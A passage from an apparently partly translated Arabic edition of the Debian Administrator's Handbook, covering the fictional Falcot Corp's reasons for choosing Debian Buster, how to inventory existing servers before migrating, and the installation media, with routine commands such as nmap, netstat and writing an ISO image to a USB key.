The project started in June 2014: some organizations allowed their employees to contribute part-time to Debian LTS while others preferred to sponsor the project with money so that Debian contributors get paid to do the work that they would not do for free. Most Debian contributors willing to be paid to work on LTS got together to create a clear sponsorship offer managed by Freexian (Raphaël Hertzog's company):

→ https://www.freexian.com/services/debian-lts.html

In the Debian LTS team, the volunteers work on packages they care about while the paid contributors prioritize packages used by their sponsors.

The project is always looking for new sponsors: What about your company? Can you let an employee work part-time on long term support? Can you allocate a small budget for security support?

→ https://wiki.debian.org/LTS/Funding

فصل 2. عرض الحالة المدروسة

في سياق هذا الكتاب، أنت مسؤول النظام للأعمال التجارية الصغيرة المتنامية. لقد حان الوقت لإعادة تعريف الخطة الرئيسية لنظم المعلومات للعام القادم بالتعاون مع مديريك. أنت تختار الانتفال تدريجيا إلى دبيان، لأسباب عملية واقتصادية على حد سواء. دعونا نرى بمزيد من التفصيل ما هو في مجزي اقتصاديا بالنسبة لك…

لقد تخيّلنا هذه الحالة المدروسة حتى نتعرض لجميع خدمات نظم المعلومات الحديثة المستخدمة حالياً في الشركات متوسطة الحجم. بعد قراءة هذا الكتاب، ستملك كل العناصر اللازمة لتثبيت دبيان وحدك على مخدماتك والتحليق بجناحيك. كما ستتعلم طريقة البحث عن المعلومات بفعالية إذا واجهتك أي صعوبات.

2.1. الحاجات المتنامية سريعاً لتقنية المعلومات

شركة فلكوت تُصنّع معدات صوتية عالية الجودة. الشركة تنمو بسرعة، ولديها الآن منشأتان، منشأة في سانت-إتيين (Saint-Étienne)، والأخرى في مون-بلييه (Montpellier). تضم الأولى حوالي 150 موظفاً؛ وتحوي مصنع إنتاج سماعات الصوت، ومختبر للتصميم، وجميع المكاتب الإدارية. أما منشأة مون-بلييه فهي أصغر، فيها حوالي 50 عاملاً فقط، وهي تنتج مضخمات الصوت.

ملاحظة شركة خيالية اختُرِعَت لدراسة حالتها

شركة فلكوت المستخدمة كمثال هنا وهمية كلياً. أي تشابه مع أي شركات حقيقية هو محض صدفة. كما قد تكون بعض المعلومات المستخدمة كأمثلة في أماكن مختلفة من الكتاب خيالية.

يعاني النظام المعلوماتي من صعوبات في التعامل مع نمو الشركة، لذلك يجب إعادة بناؤه بالكامل لتلبية الأهداف المختلفة التي وضعتها الإدارة:

بنية تحتية حديثة، سهلة التوسعة؛

تخفيض كلفة رخص البرمجيات عبر استخدام برمجيات مفتوحة المصدر؛

إنشاء موقع تجارة إلكترونية، غالباً B2B (شركة إلى شركة: business to business، أي ربط نظم المعلومات بي الشركات المختلفة، مثل ربط المزود مع زبائنه)؛

تحسينات كبيرة في الأمن لحماية أسرار تصنيع المنتجات الجديدة.

سيعتمد تصميم الخطة الجديدة للنظام المعلوماتي على هذه الأهداف.

2.2. الخطة الرئيسية

أجرت إدارة قسم تقنية المعلومات ‒بالتعاون معك‒ دراسة أكثر توسعاً، تحدد فيها بعض القيود وتعرف خطة للهجرة إلى نظام التشغيل المفتوح المصدر الذي وقع الاختيار عليه، ألا وهو دبيان.

أحد القيود الكبيرة التي وجدت في الدراسة هي أن قسم المحاسبة يستخدم برمجيات خاصة، لا تعمل إلا على Microsoft Windows™. أما المختبر فيستخدم برمجيات تصميم بمساعدة الحاسب يعمل حصراً على OS X™.

شكل 2.1. نظرة عامة على شبكة شركة فلكوت

سيكون الانتقال إلى دبيان تدريجياً: فلا يعقل أن تتمكن شركة صغيرة مواردها محدودة من قلب كل شيء بين ليلة وضحاها. في البداية، يجب تدريب طاقم تقنية المعلومات على إدارة دبيان. بعدها ستنقل المخدمات، بدءاً بالبنية التحتية للشبكة (المُوجِّهات routers، الجدران النارية، الخ) ثم خدمات المستخدمين (مشاركة الملفات، الوب، البريد الإلكتروني، الخ). بعد ذلك سوف تنقل الحواسيب المكتبية إلى دبيان تدريجياً، حتى نتمكن من تدريب كل قسم (داخلياً) أثناء فترة نشر النظام الجديد.

2.3. لماذا توزيعة غنو/لينكس؟

أساسيات لينكس أو غنو/لينكس؟

لينكس، كما تعلم، مجرد نواة. لذلك من الخطأ أن يقال ”توزيعة لينكس“ أو ”نظام لينكس“: فهي في الحقيقة توزيعات أو نظم تعتمد على لينكس. تغفل هذه العبارات ذكر البرمجيات التي تستخدم دوماً لإكمال هذه النواة، ومنها البرامج التي طورها مشروع غنو (GNU). يُصرُّ د. ريتشارد ستولمن، مؤسس هذا المشروع، على ضرورة استخدام العبارة ”غنو/لينكس“، للاعتراف بالإسهامات المهمة التي قدمها مشروع غنو ولإظهار مبادئ حرية البرمجيات بشكل أفضل.

Debian has chosen to follow this recommendation, and, thus, name its distributions accordingly (thus, the latest stable release is Debian GNU/Linux 10).

أثرت عوامل عديدة على هذا الخيار. مدير النظم، الذي يعرف استخدام هذه التوزيعة، تأكد من إضافتها بين النظم المرشحة للخطة الجديدة للنظام المعلوماتي. لقد تقيّدت ميزانية هذه العملية نتيجة الظروف الاقتصادية الصعبة والمنافسة الضارية، رغم أهميتها الحاسمة لمستقبل الشركة. لهذا السبب وقع الاختيار على الحلول مفتوحة المصدر مباشرة: تشير دراسات حديثة عديدة إلى أنها أقل كلفة من الحلول التجارية المحتكرة (proprietary) مع أنها تقدم جودة خدمة توازيها أو أفضل منها إذا توافر الطاقم المؤهل لتشغيلها.

ممارسة عملية كلفة الملكية الإجمالية (TCO)

الكلفة الإجمالية للملكية (Total Cost of Ownership) هي مجموع الأموال المصروفة على امتلاك أو تحصيل عنصر ما، وهو نظام التشغيل في هذه الحالة. يتضمن هذا السعر تكاليف الترخيص، وتكاليف تدريب الموظفين للعمل على البرمجيات الجديدة، وكلفة استبدال الأجهزة البطيئة جداً، والتصليحات الإضافية، الخ. كل ما ينتج عن الخيار الأولي بشكل مباشر سوف يؤخذ بعين الاعتبار.

هذه الكلفة الإجمالية، التي تختلف حسب المعايير المعتمدة أثناء تقييمها، نادراً ما يكون لها أي معنى بحد ذاتها. لكن من المفيد مقارنة TCOs للخيارات المختلفة المتاحة إذا كانت تتبع نفس المعايير. جدول التقييم هذا له أهمية كبيرة إذن، ومن السهل التلاعب به لرسم نتائج نهائية معروفة مسبقاً. بالتالي، لا معنى لحساب TCO لجهاز مفرد، لأن كلفة مدير النظام ستنعكس أيضاً على عدد الأجهزة الكلي التي يديرها، وهذا العدد يعتمد بشكل واضح على نظام التشغيل والأدوات المستخدمة.

من نظم التشغيل الحرة، اطلع قسم تقنية المعلومات على نظم BSD الحرة (OpenBSD، وFreeBSD، وNetBSD)، وعلى GNU Hurd، وعلى توزيعات لينكس. رفض GNU Hurd فوراً، فهو لم يصدر أي نسخة مستقرة حتى الآن. الخيار بين BSD ولينكس أسهل. للنظام الأول حسنات عديدة، خصوصاً على المخدمات. لكن التوجه العملي دفعهم لاختيار نظام لينكس، بما أن شهرته وقاعدة مستخدميه كبيرتين جداً وهناك تبعات إيجابية كثيرة لهذا الأمر. إحدى هذه التبعات هي أن العثور على الشخص المؤهل لإدارة أجهزة لينكس أسهل من العثور على فني خبير بنظام BSD. بالإضافة لذلك، لينكس يتكيف مع العتاد الأحدث أسرع من BSD (رغم أنهما كفرسي رهان في هذا السباق). أخيراً، تتلائم توزيعات لينكس غالباً مع تثبيت واجهات المستخدم الرسومية سهلة الاستخدام، التي لا يستغني عنها المبتدئون أثناء تهجير الأجهزة المكتبية إلى النظام الجديد.

بدائل دبيان GNU/kFreeBSD

Since Debian 6 Squeeze, it is possible to use Debian with a FreeBSD kernel on 32 and 64 bit computers; this is what the kfreebsd-i386 and kfreebsd-amd64 architectures mean. While these architectures are not “official” (they are hosted on a separate mirror — ports.debian.org), they provide over 70% of the software packaged by Debian.

قد تمثل هاتين المعماريتين خياراً مناسباً لمديري النظم في شركة فلكوت، خصوصاً للجدران النارية (تدعم النواة ثلاثة جدران نارية مختلفة: IPF، وIPFW، وPF) أو لنظام NAS (نظام تخزين متصل بالشبكة، network attached storage system، حيث نظام الملفات ZFS مدعوم رسمياً).

2.4. لماذا توزيعة دبيان؟

بعد وقوع الاختيار على عائلة لينكس، يجب اتخاذ قرار أكثر تحديداً. هناك معايير كثيرة أيضاً هنا لأخذها بعين الاعتبار. يجب أن تتمكن التوزيعة المختارة من العمل لسنوات، لأن الهجرة من واحدة لأخرى ستسبب تكاليف إضافية (ولو أنها أقل من الهجرة بين نظامي تشغيل مختلفين تماماً، مثل Windows أو OS X).

فالاستمرار عامل أساسي، ويجب أن تضمن التوزيعة توفير تحديثات منتظمة والترقيعات الأمنية لعدة سنوات. توقيت التحديثات مهم أيضاً، لأن شركة فلكوت لا تستطيع التعامل مع هذه العملية المعقدة مرات كثيرة، نتيجة أعداد الأجهزة الكبيرة التي يجب إدارتها. لذلك أصر قسم تقنية المعلومات على استخدام آخر نسخة مستقرة من التوزيعة، للاستفادة من أفضل مساعدة فنية، ومن الترقيعات الأمنية المضمونة. في الواقع، التحديثات الأمنية مضمونة فقط لمدة محدودة عموماً على النسخ الأقدم من التوزيعة.

Finally, for reasons of homogeneity and ease of administration, the same distribution must run on all the servers and office computers.

2.4.1. التوزيعات التجارية والمجتمعية

هناك فئتان أساسيتان لتوزيعات لينكس: التجارية والمجتمعية. الأولى تطورها الشركات، وتباع مع خدمات دعم فني تجارية. أما الأخيرة فتُطوَّر حسب نموذج التطوير المفتوح نفسه المستخدم في البرمجيات الحرة التي تتألف منها التوزيعة.

A commercial distribution will have, thus, a tendency to release new versions more frequently, in order to better market updates and associated services. Their future is directly connected to the commercial success of their company, and many have already disappeared (Caldera Linux, StormLinux, Mandriva Linux, etc.).

لا تتبع التوزيعات المجتمعية أي جداول عمل خارجية. وكما هو حال نواة لينكس، لا تصدر النسخ الجديدة إلا عندما تصبح مستقرة، وليس قبل ذلك أبداً. بقاء هذه التوزيعات مضمون، طالما أنها تملك عدداً كافياً من المطورين الأفراد أو الشركات الأخرى التي تدعمها.

أدت المقارنة بين عدة توزيعات لينكس مختلفة إلى اختيار دبيان لأسباب متنوعة:

توزيعة مجتمعية، يضمن أن تطوريها سيستمر بعيداً عن أي قيود تجارية؛ فأهداف هذه التوزيعة تقنية إذن، ويبدو أنها تفضل جودة المنتج ككل.

هذه هي التوزيعة الأبرز من بين كل التوزيعات المجتمعية من عدة نواحي: عدد المساهمين، عدد حزم البرمجيات المتوفرة، وسنين حياتها. حجم مجتمعها دليل لا ريب فيه على استمراريتها.

إحصائياً، تصدر النسخ الجديدة كل 18 إلى 24 شهر، وتبقى مدعومة لمدة 5 سنوات، وهو جدول مقبول بالنسبة لمديري النظم.

أظهر استطلاع لعدة شركات خدمات فرنسية متخصصة في البرمجيات الحرة أن جميعها يوفر دعم تقني لدبيان؛ كما أنها التوزيعة المستخدمة داخلياً في العديد من هذه الشركات. هذا التنوع في مزودي الخدمات المتوفرين مقوّم هام لدعم استقلالية شركة فلكوت.

أخيراً، دبيان متوفرة على عدد غفير من المعماريات، بما فيها ppc64el لمعالجات OpenPOWER؛ بالتالي، يمكن تثبيتها على أحدث مخدمات IBM التي تملكها شركة فلكوت.

ممارسة عملية الدعم طويل الأمد في دبيان

بدأ مشروع الدعم طويل الأمد (LTS = Long Term Support) لتوزيعة دبيان في 2014 وهو يهدف لتوفير الدعم الأمني لكافة إصدارات دبيان المستقرة لمدة 5 سنوات. يحاول مشروع LTS جمع الموارد من الشركات التي تستخدم دبيان، خاصة أن المشروع له أهمية أساسية لدى المنظمات التي تملك شبكات كبيرة من الأنظمة.

→ https://wiki.debian.org/LTS

Falcot Corp is not big enough to let one member of its IT staff contribute to the LTS project, so the company opted to subscribe to Freexian's Debian LTS contract and provides financial support. Thanks to this, the Falcot administrators know that the packages they use will be handled in priority and they have a direct contact with the LTS team in case of problems.

→ https://wiki.debian.org/LTS/Funding

→ https://www.freexian.com/services/debian-lts.html

Once Debian has been chosen, the matter of which version to use must be decided. Let us see why the administrators have picked Debian Buster.

2.5. Why Debian Buster?

Every Debian release starts its life as a continuously changing distribution, also known as “Testing”. But at the time you read those lines, Debian Buster is the latest “Stable” version of Debian.

The choice of Debian Buster is well justified based on the fact that any administrator concerned about the quality of their servers will naturally gravitate towards the stable version of Debian. Even if the previous stable release might still be supported for a while, Falcot administrators aren't considering it because its support period will not last long enough and because the latest version brings new interesting features that they care about.

فصل 3. تحليل التثبيت السابق والترحيل

أي تعديل على النظام المعلوماتي يجب أن يأخذ النظام السابق بعين الاعتبار. هذا يسمح بإعادة استخدام الموارد المتاحة لأقصى حد ممكن ويضمن التوافق السليم بين العناصر المختلفة التي تؤلف النظام. ستقدم هذه الدراسة إطار عمل عام يمكن اتباعه في حالات تهجير البنية التحتية الحاسوبية إلى لينكس.

3.1. التعايش المشترك في البيئات غير المتجانسة

يتكامل دبيان بشكل جيد جداً في كل أنواع البيئات السابقة ويتناغم مع أي نظام تشغيل آخر. هذا الانسجام شبه المثالي ناتج عن ضغط السوق الذي يطلب التزام ناشري البرمجيات بتطوير برامج تتبع المعايير القياسية. يسمح هذا الالتزام بالمعايير لمديري النظم باستبدال البرامج: سواء المخدمات أو العملاء، وسواء كانت حرة أم لا.

3.1.1. التكامل مع أجهزة ويندوز

يضمن دعم Samba لبروتوكول SMB/CIFS التواصل بشكل ممتاز في بيئات ويندوز. يتيح Samba (سامبا) مشاركة الملفات وأرتال الطباعة مع العملاء التي تستخدم ويندوز، ويتضمن برمجيات تسمح لأجهزة لينكس باستخدام الموارد المتاحة على مخدمات ويندوز.

أدوات سامبا

تستطيع إصدارة سامبا الأخيرة استبدال معظم مزايا ويندوز: من أبسط مزايا مخدم ويندوز NT (مصادقة، ملفات، أرتال الطباعة، تنزيل تعاريف الطابعات، DFS، الخ) وحتى أعقدها (تقديم متحكم نطاق (domain controller) متوافق مع Active Directory).

3.1.2. التكامل مع أجهزة OS X

توفر أجهزة OS X خدمات شبكية مثل مخدمات الملفات ومشاركة الطابعات، كما تستطيع استخدام هذا النوع من الخدمات. تنشر هذه الخدمات على الشبكة المحلية، حتى تتمكن الأجهزة الأخرى من اكتشافها والاستفادة منها دون الحاجة لضبطها يدوياً، وذلك عبر استخدام Bonjour الذي يطبق مجموعة بروتوكولات Zeroconf. يتضمن دبيان تطبيقاً آخر لهذه البروتوكولات، يدعى Avahi، وهو يقدم الوظائف نفسها.

In the other direction, the Netatalk daemon can be used to provide file servers to OS X machines on the network. It implements the AFP (AppleShare) protocol as well as the required notifications so that the servers can be automatically discovered by the OS X clients.

كانت شبكات Mac OS الأقدم (قبل OS X) تستخدم بروتوكولاً مختلفاً يدعى AppleTalk. بالنسبة للبيئات التي تحوي أجهزة تستخدم هذا البروتوكول، توفر Netatalk أيضاً بروتوكول AppleTalk (في الواقع، بدأت هذه الخدمة كتطبيق لذلك البروتوكول). تضمن هذه الخدمة عمل مخدمات الملفات وأرتال الطباعة، بالإضافة لمخدم الوقت (مزامنة الساعة). كما تسمح وظيفة التوجيه فيها بالارتباط مع شبكات AppleTalk.

3.1.3. التكامل مع أجهزة لينكس/يونكس الأخرى

أخيراً، يسمح كلاً من NFS و NIS ‒كلاهما متوفر في دبيان‒ بالتفاعل مع نظم يونكس. يضمن NFS عمل وظيفة مخدم الملفات، بينما ينشئ NIS فهارس المستخدمين (user directories). كما تسمح طبقة BSD للطباعة، التي تستخدمها معظم نظم يونكس، بمشاركة أرتال الطباعة أيضاً.

شكل 3.1. تعايش دبيان مع OS X، وويندوز ونظم يونكس

3.2. طريقة الهجرة

In order to guarantee continuity of the services, each computer migration must be planned and executed according to the plan. This principle applies whatever operating system is used.

3.2.1. تفقد الخدمات وتحديدها

على الرغم من بساطة هذا الخطوة، إلا أنها أساسية. يعلم مدير النظم الجاد حقاً الأدوار الرئيسية لكل واحد من المخدمات، لكن هذه الأدوار قد تتغير، وأحياناً قد يُثبِّت المستخدمون المتقدمون بعض الخدمات ”الشاردة“ (wild services). تسمح لك معرفة وجود هذه الخدمات على أن تقرر ماذا ستفعل فيها على الأقل، بدلاً من حذفها اعتباطياً.

For this purpose, it is wise to inform your users of the project before migrating the server. To involve them in the project, it may be useful to install the most common free software programs on their desktops prior to migration, which they will come across again after the migration to Debian; LibreOffice and the Mozilla suite are the best examples here.

3.2.1.1. الشبكة والعمليات

تتعرف الأداة nmap (في الحزمة ذات الاسم نفسه) سريعاً على خدمات الإنترنت التي تستضيفها الأجهزة المتصلة بالشبكة دون الحاجة للدخول إلى تلك الأجهزة حتى. فقط استدع الأمر التالي على جهاز آخر متصل بالشبكة نفسها:

$ nmap mirwiz Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-06 14:41 CEST Nmap scan report for mirwiz (192.168.1.104) Host is up (0.00062s latency). Not shown: 992 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5666/tcp open nrpe 9999/tcp open abyss Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

بدائل استخدام netstat للعثور على قائمة الخدمات المتاحة

على أجهزة لينكس، يظهر الأمر netstat -tupan قائمة جلسات TCP النشطة أو المؤجلة، بالإضافة لمنافذ UDP التي تنصت لها البرامج الفعالة. هذا يسهل التعر فعلى الخدمات الموفرة على الشبكة.

التعمق أكثر IPv6

قد تعمل بعض أوامر الشبكات مع IPv4 فقط (الافتراضي عادة) أو مع IPv6. هذا يشمل nmap و netstat، كما يشمل غيرهما أيضاً، مثل route أو ip. جرت العادة على استخدام الخيار -6 في سطر الأوامر لتفعيل سلوك IPv6.

إذا كان المخدم يعمل بنظام يونكس ويقدم حسابات shell لمستخدميه، فمن المهم تحديد إمكانية السماح بتنفيذ العمليات في الخلفية في حال غياب مالكيها. يعرض الأمر ps auxw لائحة بجميع العمليات مع هوية المستخدمين الذي شغلوها. ومع مقارنة هذه المعلومات مع خرج الأمر who، الذي يعطي قائمة بالمستخدمين المسجلين دخولهم إلى الجهاز، يمكن التعرف على الخدمات الشاردة أو غير المصرح عنها أو البرامج التي تعمل في الخلفية. يمكن الحصول على معلومات إضافية غالباً بالإطلاع على crontabs (الجداول التي تسرد الأعمال الآلية التي يجدولها المستخدمون) تفيد في معرفة الوظائف التي يلبيها هذا المخدم (هناك شرح كامل لخدمة cron في قسم 9.7, “جدولة المهام باستخدام cron وatd”).

في جمع الحالات، من الضروري أخذ نسخة احتياطية عن مخدماتك: فهذا يسمح باستعادة المعلومات في وقت لاحق، عندما يشتكي المستخدمون من مشاكل معينة نتجت عن الهجرة.

3.2.2. النسخ الاحتياطي للإعدادات

من الحكمة الاحتفاظ بإعدادات كل خدمة تكتشفها حتى تستطيع تثبيت ما يقابلها على المخدم بعد التغيير. أضعف الإيمان أن تأخذ نسخة احتياطية عن ملفات الضبط.

بالنسبة لأجهزة يونكس، تكون ملفات الضبط عادة في المجلد /etc/، لكنها قد تُخزَّن أيضاً في مجلد فرعي في /usr/local/. هذه هي حال البرامج التي ثبتت من الكود المصدري، بدلاً من تثبيتها من حزمة. في بعض الحالات، قد تجد بعض هذه الملفات في /opt/.

بالنسبة لخدمات إدارة البيانات (مثل قواعد البيانات)، أفضل حل هو تصدير البيانات إلى صيغة قياسية يستطيع البرنامج الجديد استيرادها بسهولة. تكون هذه الصيغ نصية عادة ولها توثيق يشرحها؛ قد تكون SQL dump مثلاً بالنسبة لقواعد البيانات، أو ملف LDIF بالنسبة لمخدمات LDAP.

شكل 3.2. النسخ الاحتياطي لقواعد البيانات

برمجيات المخدمات مختلفة، ومن المستحيل شرح جميع الحالات الموجودة بالتفصيل. قارن بين وثائق البرامج الحالية والبرامج الجديدة حتى تتعرف على الأجزاء القابلة للتصدير (وبالتالي، قابلة للاستيراد ثانية) والأجزاء التي تحتاج معالجة يدوية. ستوضح لك قراءة هذا الكتاب طريق إعداد البرامج الرئيسية في مخدمات لينكس.

3.2.3. السيطرة على مخدم دبيان سابق

يمكننا تحليل جهاز يعمل مسبقاً بنظام دبيان حتى نتمكن من السيطرة عليه بشكل فعال.

أول الملفات التي سنتحقق منها هو /etc/debian_version، الذي يحوي عادة رقم إصدار نسخة دبيان المُثبَّتة (هذا الملف جزء من الحزمة base-files). إذا حوى الملف codename/sid، فهذا يعني أن النظام قد حُدِّث باستخدام حزم من إحدى التوزيعات التطويرية (سواء الاختبارية أو غير المستقرة).

يفحص البرنامج apt-show-versions (من حزمة دبيان ذات الاسم نفسه) قائمة الحزم المُثبّتة ويتعرف على النسخ المتوفرة. يمكن استخدام aptitude أيضاً لأداء هذه المهام، ولو أن عملها ليس آلياً بالكامل.

بنظرة سريعة على الملف /etc/apt/sources.list (والمجلد /etc/apt/sources.list.d/) سنعرف أماكن ورود حزم دبيان إلى النظام. إذا ظهرت مصادر عديدة غير معروفة، فقد يختار مدير النظام إعادة تثبيت نظام التشغيل على الحاسوب بالكامل لضمان التوافق التام مع البرمجيات التي يوفرها دبيان.

The sources.list file is often a good indicator: the majority of administrators keep, at least in comments, the list of APT sources that were previously used. But you should not forget that sources used in the past might have been deleted, and that some random packages grabbed on the Internet might have been manually installed (with the help of the dpkg command). In this case, the machine is misleading in its appearance of being a “standard” Debian system. This is why you should pay attention to any indication that will give away the presence of external packages (appearance of deb files in unusual directories, package version numbers with a special suffix indicating that it originated from outside the Debian project, such as ubuntu or lmde, etc.)

وبالمثل، من المفيد تحليل محتويات المجلد /usr/local/، الذي يفترض أن يحوي البرامج المترجمة والمُثبَّتة يدوياً. معرفة البرمجيات المُثبّتة بهذه الطريقة مفيد جداً، لأن هذا يطرح أسئلة عن سبب عدم استخدام حزم دبيان الموافقة، إذا كانت هذه الحزم متوفرة.

QUICK LOOK cruft/cruft-ng, debsums and apt-show-versions

The cruft and cruft-ng packages propose to list the available files that are not owned by any package. They have some filters (more or less effective, and more or less up to date) to avoid reporting some legitimate files (files generated by Debian packages, or generated configuration files not managed by dpkg, etc.).

Be careful to not blindly delete everything that cruft and cruft-ng might list!

The debsums package allows to check the MD5 hashsum of each file installed by a package against a reference hashsum and can help to determine, which files might have been altered (see TIP Finding changed files). Be aware that created files (files generated by Debian packages, or generated configuration files not managed by dpkg, etc.) are not subject to this check.

The apt-show-versions package provides a tool to check for installed packages without a package source and can help to determine third party packages (see قسم 6.7.3.1, “Packages removed from the Debian Archive”).

3.2.4. تثبيت دبيان

بعد أن نعرف كل المعلومات المطلوبة من المخدم الحالي، يمكننا إيقاف عمله والبدء بتثبيت دبيان عليه.

يجب أن نعرف معمارية الجهاز حتى نختار النسخة المناسبة له. إذا كان الجهاز حاسوباً شخصياً جديداً نوعاً ما، فالغالب أن يكون amd64 (الحواسيب الشخصية القديمة كانت i386 عادة). في الحالات الأخرى، يمكننا تضييق الاحتمالات حسب نظام التشغيل المستخدم سابقاً.

جدول 3.1 is not intended to be exhaustive, but may be helpful. Note that it lists Debian architectures which are no longer supported in the current stable release. In any case, the original documentation for the computer is the most reliable source to find this information.

جدول 3.1. تقابل نظم التشغيل مع المعماريات

نظام التشغيل | المعماريات
DEC Unix (OSF/1)‎ | alpha, mipsel
HP Unix | ia64, hppa
IBM AIX | powerpc
Irix | mips
OS X | amd64, powerpc, i386
z/OS, MVS | s390x, s390
Solaris, SunOS | sparc, i386, m68k
Ultrix | mips
VMS | alpha
Windows 95/98/ME | i386
Windows NT/2000 | i386, alpha, ia64, mipsel
Windows XP / Windows Server 2008 | i386, amd64, ia64
Windows RT | armel, armhf, arm64
Windows Vista / Windows 7-8-10 | i386, amd64

عتاد مقارنة حواسيب 64بت مع حواسيب 32بت

معظم الحواسيب الحديثة تحوي معالجات 64بت سواء Intel أو AMD، تتوافق مع معالجات 32بت الأقدم؛ ولذلك يمكن تشغيل البرامج المترجمة لمعمارية ”i386“ عليها. من ناحية أخرى، لا يستغل وضع التوافق هذا قدرات هذه المعالجات الجديدة بشكل كامل. لذلك توفر دبيان معمارية ”amd64“، التي تعمل على شرائح AMD الحديثة بالإضافة إلى معالجات إنتل ”em64t“ (بما فيها معظم معالجات السلسلة Core)، التي تشبه AMD64 كثيراً.

3.2.5. تثبيت الخدمات المختارة وإعدادها

Once Debian is installed, we need to individually install and configure each of the services that this computer must host. The new configuration must take into consideration the prior one in order to ensure a smooth transition. All the information collected in the first two steps will be useful to successfully complete this part.

شكل 3.3. تثبيت الخدمات المختارة

قبل الغوص في هذه العملية بقدميك الاثنتين، نحن ننصحك بشدة بإكمال قراءة هذا الكتاب. بعد ذلك ستفهم طريقة إعداد الخدمات المطلوبة بشكل أدق.

فصل 4. التثبيت

لاستخدام دبيان عليك تثبيته على حاسوبك؛ يتكفل برنامج debian-installer (مُثبّت-دبيان) بهذه المهمة. يحتاج التثبيت الجيد عمليات عديدة، سوف نعرضها في هذا الفصل حسب ترتيبها الزمني. تنبيه: اعتمدنا في هذا الفصل على نفس المصطلحات المستخدمة في المُثبّت قدر الإمكان لكي لا نربك القارئ. ترجمة المُثبّت ليست مثالية لذا سنحاول مستقبلاً التنسيق مع فريق تعريبه إن شاء الله.

أساسيات درس استدراكي

عملية التثبيت على الحاسوب أسهل دائمًا إذا كنت معتادًا على طريقة عمله. إن لم يمكن الأمر كذلك، ألق نظرة سريعة على ملحق B, دورة تذكيرية قصيرة قبل قراءة هذا الفصل.

يعتمد المثبت ل [باستر] على [دبيان-المثبت. تصميمها وحدات تمكنه من العمل في سيناريوهات مختلفة ويسمح لها أن تتطور والتكيف مع التغيرات. على الرغم من القيود التي تنطوي عليها الحاجة إلى دعم عدد كبير من البِنَى، فإن هذا المثبت متاح للغاية للمبتدئين، لأنه يساعد المستخدمين في كل مرحلة من مراحل العملية. كشف الأجهزة التلقائي، التقسيم الموجه، واجهات المستخدم الرسومية قد حل معظم المشاكل تواجه المستخدمين الجدد في السنوات الأولى من دبيان.

تتطلب عملية التثبيت 80 م.ب. من الذاكرة RAM (ذاكرة الوصول العشوائي Random Access Memory) و 700 م.ب. مساحة القرص الصلب. جميع الأجهزة في فلكوت تلبي هذه المعايير. تجدر الإشارة إلى أن هذه الأرقام تنطبق على تثبيت نظام محدود جداً دون سطح مكتب رسومي. أما من أجل محطة عمل مكتبية فمن الأفضل توفير 80 م.ب. من الذاكرة و 5 غ.ب. من مساحة القرص الصلب.

BEWARE Upgrading from Stretch

If you already have Debian Stretch installed on your computer, this chapter is not for you! Unlike other distributions, Debian allows updating a system from one version to the next without having to reinstall the system. Reinstalling, in addition to being unnecessary, could even be dangerous, since it could remove already installed programs.

سنشرح عملية الترقية في قسم 6.7, “الانتقال من توزيعة مستقرة إلى التالية”.

4.1. طرائق التثبيت

يمكن تثبيت نظام دبيان بواسطة عدة وسائط، طالما أن البيوس يسمح بذلك. يمكن مثلاً الإقلاع بواسطة قرص CD-ROM أو مفتاح USB أو حتى من خلال الشّبكة.

أساسيات البيوس، واجهة العتاد/البرمجيات

البيوس BIOS ‏(Basic Input/Output System نظام الإدخال/الإخراج الأساسي) هو برمجية مضمنة في اللوحة الأم (اللوحة الإلكترونية التي تصل بين جميع ملحقات الحاسوب) تُنفّذ أثناء إقلاع الحاسوب لتحميل نظام التشغيل (عن طريق محمّل إقلاع ملائم)، ثم تبقى فعّالة في الخلفية لتوفير واجهة بين العتاد والبرمجيات (النواة لينكس في هذه الحالة).

4.1.1. التثبيت من CD-ROM/DVD-ROM

طريقة التثبيت الأكثر شيوعًا هي من خلال قرص CD-ROM (أو قرص DVD-ROM، الذي يعمل بنفس الطريقة تمامًا): يُقلع الحاسوب من خلال هذا الأخير ثم يتولى المُثبّت باقي المراحل.

Various CD-ROM families have different purposes: netinst (network installation) contains the installer and the base Debian system; all other programs are then downloaded. Its “image”, that is the ISO-9660 filesystem that contains the exact contents of the disk, only takes up about 150 to 280 MB (depending on architecture). On the other hand, the complete set offers all packages and allows for installation on a computer that has no Internet access; it requires around 16 DVD-ROMs (or 4 Blu-ray disks). There is no more official CD-ROMs set as they were really huge, rarely used and now most of the computers use DVD-ROMs as well as CD-ROMs. But the programs are divided among the disks according to their popularity and importance; the first disk will be sufficient for most installations, since it contains the most used software.

هناك نوع أخير من الصور، هو mini.iso، المتوفر كمنتج من منتجات المُثبّت. تحوي الصورة أقل ما يمكن لإعداد الشبكة وكل ما تبقى سوف ينزل من الإنترنت (بما في ذلك أجزاء من المُثبّت نفسه، ولهذا السبب تتعطل هذه الصور غالباً بعد إطلاق نسخة جديدة من المُثبّت). يمكنك العثور على هذه الصور على مرايا دبيان في المجلد dists/release/main/installer-arch/current/images/netboot/.

تلميح الأقراص متعددة المعماريات (Multi-architecture)

أغلب أقراص CD-ROM و DVD-ROM الخاصة بالتثبيت متوافقة فقط مع معمارية معينة. إن كنت تنوي تنزيل الصور كاملةً، يجب الحرص على اختيار الصور المتوافقة مع عتاد الحاسوب الذي تريد تثبيتها عليه.

Some CD/DVD-ROM images can work on several architectures. We thus have a CD-ROM image combining the netinst images of the i386 and amd64 architectures.

To acquire Debian CD-ROM images, you may, of course, download them and burn them to disk. You may also purchase them, and, thus, provide the project with a little financial support. Check the website to see the list of DVD-ROM image vendors and download sites.

→ https://www.debian.org/CD/index.html

4.1.2. الإقلاع من مفتاح USB

بما أن معظم الحواسيب تقدر على الإقلاع من أجهزة USB، فيمكنك تثبيت دبيان من مفتاح USB أيضاً (وهي الذواكر الومضية الصغيرة).

يشرح دليل التثبيت طريقة إنشاء مفتاح USB يحتوي على debian-installer. إجراءات هذه العملية بسيطة جداً لأن صور ISO للمعماريتين i386 وamd64 هجينة (hybrid) ويمكن الإقلاع بها سواء من CD-ROM أو مفتاح USB.

You must first identify the device name of the USB key (ex: /dev/sdb); the simplest means to do this is to check the messages issued by the kernel using the dmesg command. Then you must copy the previously downloaded ISO image (for example, debian-10.0.0-amd64-netinst.iso) with the command cat debian-10.0.0-amd64-netinst.iso >/dev/sdb; sync. This command requires administrator rights, since it accesses the USB key directly and blindly erases its content.

